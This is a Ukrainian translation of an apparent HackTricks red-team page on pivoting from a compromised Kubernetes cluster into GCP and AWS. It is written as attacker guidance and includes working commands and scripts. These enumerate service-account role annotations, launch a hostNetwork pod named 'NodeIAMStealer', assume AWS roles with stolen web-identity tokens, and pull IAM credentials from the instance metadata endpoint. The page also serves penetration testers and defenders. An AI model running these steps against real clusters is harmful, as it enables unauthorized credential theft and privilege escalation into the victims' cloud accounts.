Kubernetes Pivoting to Clouds

Вивчіть хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

GCP

Якщо ви запускаєте кластер k8s в GCP, ви, ймовірно, захочете, щоб деяка програма, яка працює всередині кластера, мала доступ до GCP. Існують 2 загальні способи цього:

Підключення ключів GCP-SA як секрету

Загальний спосіб надання доступу до додатку Kubernetes до GCP полягає в наступному:

  • Створіть обліковий запис служби GCP

  • Прив'яжіть до нього потрібні дозволи

  • Завантажте json-ключ створеного SA

  • Підключіть його як секрет всередині капсули

  • Встановіть змінну середовища GOOGLE_APPLICATION_CREDENTIALS, яка вказує шлях до json.

Отже, як зловмисник, якщо ви компрометували контейнер всередині капсули, вам слід перевірити цю змінну середовища та json-файли з обліковими даними GCP.

Пов'язання json GSA з секретом KSA

Спосіб надання доступу GSA до кластера GKE полягає в їх прив'язці таким чином:

  • Створіть обліковий запис служби Kubernetes в тому ж просторі імен, що й ваш кластер GKE за допомогою наступної команди:

Copy codekubectl create serviceaccount <service-account-name>
  • Створіть секрет Kubernetes, який містить облікові дані облікового запису служби GCP, до якого ви хочете надати доступ до кластера GKE. Це можна зробити за допомогою інструменту командного рядка gcloud, як показано в наступному прикладі:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Прив'яжіть секрет Kubernetes до облікового запису служби Kubernetes за допомогою наступної команди:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

У другому кроці були встановлені облікові дані GSA як секрет KSA. Тоді, якщо ви можете прочитати цей секрет з середини кластера GKE, ви можете піднятися до цього облікового запису служби GCP.

Ідентифікація робочого навантаження GKE

За допомогою Ідентифікації робочого навантаження ми можемо налаштувати обліковий запис служби Kubernetes для виконання функцій облікового запису служби Google. Контейнери, що працюють з обліковим записом служби Kubernetes, автоматично аутентифікуються як обліковий запис служби Google при доступі до API Google Cloud.

Перша серія кроків для активації цієї поведінки - активація Ідентифікації робочого навантаження в GCP (кроки) та створення GCP SA, який ви хочете, щоб k8s виглядав як.

  • Активувати Ідентифікацію робочого навантаження на новому кластері

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Створення/Оновлення нової групи вузлів (Кластери Autopilot не потребують цього)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Створіть Обліковий запис служби GCP для імітації з K8s з дозволами GCP:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Підключіться до кластера та створіть обліковий запис служби, який потрібно використовувати

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Прив'яжіть GSA до KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Запустіть под з KSA та перевірте доступ до GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Перевірте наступну команду для аутентифікації у разі потреби:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Як зловмиснику всередині K8s вам слід шукати SAs з анотацією iam.gke.io/gcp-service-account, оскільки це вказує на те, що SA може отримати доступ до чогось у GCP. Іншою опцією буде спробувати зловживати кожним KSA в кластері та перевірити, чи є у нього доступ. З GCP завжди цікаво перелічити зв'язки та знати, який доступ ви надаєте SAs всередині Kubernetes.

Це скрипт для легкої ітерації по всіх визначеннях кількість шукаючи цю анотацію:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM-роль для Подів)

Спосіб (застарілий) надавати IAM-ролі Подам - використовувати Kiam або Kube2IAM сервер. Основна ідея полягає в тому, що вам потрібно запустити daemonset у вашому кластері з певною привілейованою IAM-роллю. Цей daemonset буде надавати доступ до IAM-ролей Подам, які його потребують.

Спочатку вам потрібно налаштувати які ролі можуть бути доступні всередині простору імен, і ви це робите за допомогою анотації всередині об'єкта простору імен:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Після того як простір імен налаштований з ролями IAM, які можуть бути у Подах, ви можете вказати роль, яку ви хочете на кожному визначенні Пода, щось на зразок:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Як зловмисник, якщо ви знайдете ці анотації в капсулах або просторах імен або запущений сервер kiam/kube2iam (мабуть, в kube-system), ви можете імітувати кожну роль, яка вже використовується капсулами та більше (якщо у вас є доступ до облікового запису AWS, перелічте ролі).

Створення капсули з роллю IAM

Роль IAM, яку потрібно вказати, повинна бути в тому ж обліковому записі AWS, що й роль kiam/kube2iam, і ця роль повинна мати до неї доступ.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Роль для Облікових записів служб K8s через OIDC

Це рекомендований спосіб від AWS.

  1. Потім створіть IAM роль з необхідними дозволами для Облікових записів служб.

  2. Створіть довіру між IAM роллю та Обліковим записом служби ім'я (або простори імен, які надають доступ до ролі всім Обліковим записам служби простору імен). Довіра буде перевіряти назву постачальника OIDC, назву простору імен та назву Облікового запису служби.

  3. Нарешті, створіть Обліковий запис служби з анотацією, що вказує ARN ролі, і кілька запущених з цим Обліковим записом служби отримають доступ до токену ролі. Токен записується у файл, а шлях вказується в AWS_WEB_IDENTITY_TOKEN_FILE (за замовчуванням: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Для отримання aws за допомогою токена з /var/run/secrets/eks.amazonaws.com/serviceaccount/token виконайте:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Як зловмисник, якщо ви можете перелічити кластер K8s, перевірте облікові записи служб з цією анотацією, щоб піднятися на AWS. Для цього просто виконайте/створіть потік, використовуючи один з привілейованих облікових записів IAM, і вкрадіть токен.

Крім того, якщо ви знаходитесь всередині потоку, перевірте змінні середовища, такі як AWS_ROLE_ARN та AWS_WEB_IDENTITY_TOKEN.

Іноді політика довіри ролі може бути погано налаштована, і замість надання доступу AssumeRole очікуваному обліковому запису служби, вона надає його всім обліковим записам служб. Тому, якщо ви здатні написати анотацію на керований обліковий запис служби, ви можете отримати доступ до ролі.

Перевірте наступну сторінку для отримання додаткової інформації:

pageAWS - Federation Abuse

Знайдіть Потоки та облікові записи служб з ролями IAM в кластері

Це сценарій для легкої ітерації по всіх потоках та визначеннях облікових записів служб, шукаючи цю анотацію:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Роль IAM вузла

Попередній розділ був присвячений тому, як вкрасти ролі IAM за допомогою підпрограм, але слід зауважити, що Вузол кластера K8s буде екземпляром всередині хмари. Це означає, що ймовірно, що Вузол буде мати нову роль IAM, яку можна вкрасти (зауважте, що зазвичай всі вузли кластера K8s матимуть однакову роль IAM, тому може бути не варто перевіряти кожен вузол).

Однак є важлива вимога для доступу до кінцевої точки метаданих з вузла, вам потрібно бути на вузлі (сеанс ssh?) або принаймні мати ту саму мережу:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Вкрасти токен IAM-ролі

Раніше ми обговорювали, як прикріплювати ролі IAM до капсул або навіть як вибратися на вузол, щоб вкрасти роль IAM, яку має прикріплену до себе екземпляр.

Ви можете використати наступний скрипт, щоб вкрасти ваші нові, важко здобуті підтвердження ролі IAM:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated